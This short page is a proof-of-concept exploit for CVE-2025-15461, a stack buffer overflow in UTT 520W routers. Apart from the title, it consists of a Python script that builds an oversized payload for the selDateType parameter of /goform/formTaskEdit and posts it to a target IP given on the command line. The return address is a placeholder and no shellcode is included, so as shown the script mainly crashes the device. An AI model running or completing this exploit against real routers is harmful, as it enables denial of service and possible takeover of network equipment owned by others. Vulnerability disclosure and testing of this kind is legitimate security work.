CVE-2025-15461 UTT路由器strcpy缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-15461 PoC - UTT Router Buffer Overflow Target: UTT 进取 520W 1.7.7-180627 Vulnerability: Stack buffer overflow in /goform/formTaskEdit via selDateType parameter CVSS: 8.8 (High) """ import requests import sys TARGET_IP = "192.168.1.1" # Replace with target router IP TARGET_PORT = 80 TARGET_URL = f"http://{TARGET_IP}:{TARGET_PORT}/goform/formTaskEdit" def create_exploit_payload(): """ Create buffer overflow payload Modify the payload based on actual firmware analysis """ # Buffer size to trigger overflow (needs adjustment based on actual firmware) buffer_size = 1024 # Padding to fill buffer padding = b'A' * buffer_size # Overwrite return address (needs to be adjusted) return_address = b'\x42\x42\x42\x42' # Placeholder - needs ROP gadget # Shellcode or NOP sled (if applicable) nop_sled = b'\x90' * 16 # Construct payload payload = padding + return_address + nop_sled return payload def exploit(): """Send exploit request to trigger buffer overflow""" print(f"[*] Target: {TARGET_URL}") print(f"[*] CVE: CVE-2025-15461") print(f"[*] Vulnerability: Buffer overflow in strcpy (selDateType)") # Create payload payload = create_exploit_payload() # Prepare HTTP POST data data = { 'selDateType': payload.decode('latin-1'), # Send overflow payload 'other_param': 'test' # Other parameters if needed } print(f"[+] Sending malicious request with {len(payload)} bytes payload...") try: response = requests.post(TARGET_URL, data=data, timeout=5) print(f"[!] Response status: {response.status_code}") except requests.exceptions.Timeout: print("[!] Request timeout - target may have crashed or payload triggered vulnerability") except requests.exceptions.ConnectionError: print("[!] Connection error - target may be unresponsive") except Exception as e: print(f"[!] Error: {str(e)}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_IP = sys.argv[1] TARGET_URL = f"http://{TARGET_IP}:{TARGET_PORT}/goform/formTaskEdit" exploit()